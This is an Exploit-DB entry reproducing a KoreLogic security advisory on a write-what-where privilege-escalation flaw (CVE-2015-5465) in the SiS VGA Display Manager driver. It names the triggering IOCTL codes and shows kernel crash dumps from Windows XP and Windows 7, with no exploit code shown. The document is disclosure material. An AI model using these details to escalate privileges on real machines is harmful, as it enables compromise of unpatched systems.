Exploit-DB #38054
Description: SiS Windows VGA Display Manager 6.14.10.3930 - Write-What-Where (PoC)
Type: dos
Platform: windows
Date: 2015-09-01
Author: KoreLogic

Exploit:
KL-001-2015-003 : SiS Windows VGA Display Manager Multiple Privilege
Escalation

Title: SiS Windows VGA Display Manager Multiple Privilege Escalation
Advisory ID: KL-001-2015-003
Publication Date: 2015.09.01
Publication URL:
https://www.korelogic.com/Resources/Advisories/KL-001-2015-003.txt


1. Vulnerability Details

     Affected Vendor: Silicon Integrated Systems Corporation
     Affected Product: Windows VGA Display Manager
     Affected Version: 6.14.10.3930
     Platform: Microsoft Windows 7 (x86), Microsoft Windows XP SP3
     CWE Classification: CWE-123: Write-what-where condition
     Impact: Arbitrary Code Execution
     Attack vector: IOCTL
     CVE-ID: CVE-2015-5465

2. Vulnerability Description

     Vulnerabilities within the srvkp module allows an attacker
     to inject memory they control into an arbitrary location
     they define or cause memory corruption. IOCTL request codes
     0x96002400 and 0x96002404 have been demonstrated to trigger
     these vulnerabilities. These vulnerabilities can be used
     to obtain control of code flow in a privileged process and
     ultimately be used to escalate the privilege of an attacker.

3. Technical Description

     Example against Windows XP:

     Windows XP Kernel Version 2600 (Service Pack 3) UP Free x86
compatible
     Product: WinNt, suite: TerminalServer SingleUserTS
     Built by: 2600.xpsp_sp3_qfe[PII_REDACTED]
     Machine Name:
     Kernel base = 0x804d7000 PsLoadedModuleList = 0x805540c0


************************************************************************
*******
     *
             *
     *                        Bugcheck Analysis
             *
     *
             *

************************************************************************
*******

     Use !analyze -v to get detailed debugging information.
     BugCheck 50, {ffff0000, 1, 804f3b76, 0}
     Probably caused by : srvkp.sys ( srvkp+3329 )
     Followup: MachineOwner
     ---------

     kd> kn
     Call stack:  # ChildEBP RetAddr
     00 f6a529a0 8051cc7f nt!KeBugCheckEx+0x1b
     01 f6a52a00 805405d4 nt!MmAccessFault+0x8e7
     02 f6a52a00 804f3b76 nt!KiTrap0E+0xcc
     03 f6a52ad0 804fdaf1 nt!IopCompleteRequest+0x92
     04 f6a52b20 806d3c35 nt!KiDeliverApc+0xb3
     05 f6a52b20 806d3861 hal!HalpApcInterrupt+0xc5
     06 f6a52ba8 804fab03 hal!KeReleaseInStackQueuedSpinLock+0x11
     07 f6a52bc8 804f07e4 nt!KeInsertQueueApc+0x4b
     08 f6a52bfc f7910329 nt!IopfCompleteRequest+0x1d8
     09 f6a52c34 804ee129 srvkp+0x3329
     0a f6a52c44 80574e56 nt!IopfCallDriver+0x31
     0b f6a52c58 80575d11 nt!IopSynchronousServiceTail+0x70
     0c f6a52d00 8056e57c nt!IopXxxControlFile+0x5e7
     0d f6a52d34 8053d6d8 nt!NtDeviceIoControlFile+0x2a
     0e f6a52d34 7c90e514 nt!KiFastCallEntry+0xf8
     0f 0021f3e4 7c90d28a ntdll!KiFastSystemCallRet
     10 0021f3e8 1d1add7a ntdll!ZwDeviceIoControlFile+0xc
     11 0021f41c 1d1aca96 _ctypes!DllCanUnloadNow+0x5b4a
     12 0021f44c 1d1a8db8 _ctypes!DllCanUnloadNow+0x4866
     13 0021f4fc 1d1a959e _ctypes!DllCanUnloadNow+0xb88
     14 0021f668 1d1a54d8 _ctypes!DllCanUnloadNow+0x136e
     15 0021f6c0 1e07bd9c _ctypes+0x54d8
     16 [PII_REDACTED] python27!PyObject_Call+0x4c

     Example against Windows 7:

     Microsoft (R) Windows Debugger Version 6.2.9200.20512 X86
     Copyright (c) Microsoft Corporation. All rights reserved.


     Loading Dump File [C:\Windows\MEMORY.DMP]
     Kernel Summary Dump File: Only kernel address space is available

     Symbol search path is: *** Invalid ***

************************************************************************
****
     * Symbol loading may be unreliable without a symbol search path.
          *
     * Use .symfix to have the debugger choose a symbol path.
          *
     * After setting your symbol path, use .reload to refresh symbol
locations. *

************************************************************************
****
     Executable search path is:
     *******************************************************************
**
     * Symbols can not be loaded because symbol path is not initialized.
 *
     *
 *
     * The Symbol Path can be set by:
 *
     *   using the _NT_SYMBOL_PATH environment variable.
 *
     *   using the -y <symbol_path> argument when starting the debugger.
 *
     *   using .sympath and .sympath+
 *
     *******************************************************************
**
     *** ERROR: Symbol file could not be found.  Defaulted to export
symbols for ntkrpamp.exe -
     Windows 7 Kernel Version 7601 (Service Pack 1) UP Free x86 compatib
le
     Product: WinNt, suite: TerminalServer SingleUserTS
     Built by: 7601.17514.x86fre.win7sp1_rtm[PII_REDACTED]
     Machine Name:
     Kernel base = 0x82a12000 PsLoadedModuleList = 0x82b5c850
     Debug session time: Mon Aug 17 14:36:36.286 2015 (UTC - 7:00)
     System Uptime: 0 days 11:46:55.313
     *******************************************************************
**
     * Symbols can not be loaded because symbol path is not initialized.
 *
     *
 *
     * The Symbol Path can be set by:
 *
     *   using the _NT_SYMBOL_PATH environment variable.
 *
     *   using the -y <symbol_path> argument when starting the debugger.
 *
     *   using .sympath and .sympath+
 *
     *******************************************************************
**
     *** ERROR: Symbol file could not be found.  Defaulted to export
symbols for ntkrpamp.exe -
     Loading Kernel Symbols
     ...............................................................
     ................................................................
     .....................................
     Loading User Symbols
     PEB is paged out (Peb.Ldr = 7ffd400c).  Type ".hh dbgerr001" for
details
     Loading unloaded module list
     ..............................

*********